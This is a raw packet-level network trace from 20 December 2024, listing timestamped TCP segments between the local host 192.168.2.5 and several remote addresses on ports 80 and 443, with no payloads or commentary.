Dec 20, 2024 02:11:21.370240927 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.371159077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.371213913 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.371243000 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.371292114 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.372217894 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.372273922 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.372293949 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.372335911 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.373272896 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.373321056 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.373390913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.373447895 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.374353886 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.374403000 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.374483109 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.374524117 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.375413895 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.375473022 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.375585079 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.375631094 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.376524925 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.376573086 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.376655102 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.376702070 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.377578020 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.377646923 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.377804041 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.377852917 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.378667116 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.378712893 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.378815889 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.378863096 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.379720926 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.379769087 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.379806995 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.379865885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.380750895 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.380796909 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.380853891 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.380908012 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.381807089 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.381855965 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.381894112 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.381937981 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.382951021 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.383002996 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.383025885 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.383071899 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.383956909 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.383975983 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.384002924 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.384033918 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.385027885 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.385067940 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.385087013 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.385122061 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.386080027 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.386142015 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.386168957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.386214018 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.387113094 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.387164116 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.387227058 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.387271881 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.388195038 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.388242960 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.388290882 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.388326883 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.389250994 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.389292955 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.389337063 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.389373064 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.390330076 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.390376091 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.390516996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.390558004 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.391395092 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.391444921 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.391505957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.391555071 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.392472982 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.392515898 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.392587900 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.392635107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.393548965 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.393590927 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.393594027 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.393630028 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.394577980 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.394619942 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.394685984 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.394730091 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.395678043 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.395731926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.395823002 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.395865917 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.396722078 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.396761894 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.396821976 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.396867990 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.397775888 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.397819042 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.397933960 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.397972107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.398781061 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.398839951 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.535274029 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.535324097 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.535358906 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.535511971 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.535700083 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.535759926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.535820007 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.536762953 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.536817074 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.536834002 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.537817955 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.537870884 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.537935972 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.537986994 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.538894892 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.539182901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.539238930 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.539946079 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.540060043 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.540115118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.541013002 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.541066885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.541089058 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.542057037 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.542104006 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.542124987 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.543150902 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.543201923 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.543245077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.543292999 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.544204950 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.544306040 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.544358969 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.545264006 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.545422077 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.545494080 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.546401024 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.546452999 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.546473980 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.547435999 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.547487974 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.547575951 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.548487902 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.548496008 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.548615932 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.548665047 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.549540997 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.549658060 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.549710989 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.550612926 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.550664902 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.550713062 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.551681042 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.551734924 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.551767111 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.551951885 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.552717924 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.552839994 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.552894115 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.553793907 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.553930044 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.553985119 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.554847956 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.554956913 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.555011988 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.555965900 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.556026936 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.556080103 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.556991100 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.557048082 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.557054996 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.557109118 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.558063030 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.558121920 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.558182955 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.558408976 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.559115887 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.559230089 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.559263945 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.559318066 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.560204029 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.560287952 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.560336113 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.561240911 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.561286926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.561347008 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.562077045 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.562318087 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.562367916 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.562433004 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.562479973 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.563379049 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.563433886 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.563476086 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.563527107 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.564435005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.564579010 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.564606905 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.564630032 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.565515041 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.565591097 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.565619946 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.565685987 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.566612005 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.566665888 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.566675901 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.566729069 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.567636967 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.567692995 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.567734957 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.567785025 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.568691015 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.568748951 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.568814039 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.568876982 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.569756985 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:21.569802046 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:21.790046930 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.790100098 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.790132046 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.790185928 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.790216923 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.790309906 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.790311098 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.790327072 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.792017937 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.792025089 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.806778908 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.806992054 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.807209015 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.807218075 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.807269096 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.813354015 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.867017031 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.909462929 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.960760117 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.960767031 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.986026049 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.986057997 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.986123085 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.986133099 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.986148119 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:21.986202002 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.988245010 CET	49860	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:21.988254070 CET	443	49860	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:22.297020912 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:22.297080994 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:22.297174931 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:22.297516108 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:22.297528982 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:23.523032904 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:23.523140907 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:23.697771072 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:23.697845936 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:23.698199987 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:23.701383114 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:23.704509974 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:23.704554081 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:23.881316900 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:23.881623983 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:24.002161980 CET	80	49871	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:24.002382994 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:24.002382994 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:24.002645969 CET	80	49850	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:24.002825975 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:24.122189999 CET	80	49871	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:24.714338064 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:24.714441061 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:24.714693069 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:24.715228081 CET	49866	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:24.715270996 CET	443	49866	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:24.997929096 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:24.998018026 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:24.998097897 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:24.998341084 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:24.998379946 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:25.355349064 CET	80	49871	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:25.355454922 CET	49871	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:25.356425047 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:25.356678009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:25.476157904 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:25.476242065 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:25.476291895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:25.476305008 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:25.476502895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:25.593184948 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:25.593282938 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:25.593381882 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:25.594186068 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:25.594228029 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:25.595909119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.212119102 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:26.212191105 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:26.217936039 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:26.217971087 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:26.218321085 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:26.223568916 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:26.223695993 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:26.223746061 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:26.223814011 CET	49874	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:26.271332979 CET	443	49874	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:26.803695917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.803788900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.803800106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.803812981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.803874969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.803955078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.803966045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.803975105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.804040909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.804071903 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.804356098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.804367065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.804377079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.804387093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.804436922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.804477930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.822181940 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:26.822329044 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:26.824448109 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:26.824457884 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:26.824860096 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:26.867029905 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:26.901808977 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:26.901943922 CET	49876	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:26.902056932 CET	443	49876	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:26.923424006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.923497915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.923563004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.923943996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:26.995918036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.995963097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:26.996033907 CET	49875	80	192.168.2.5	31.41.244.11
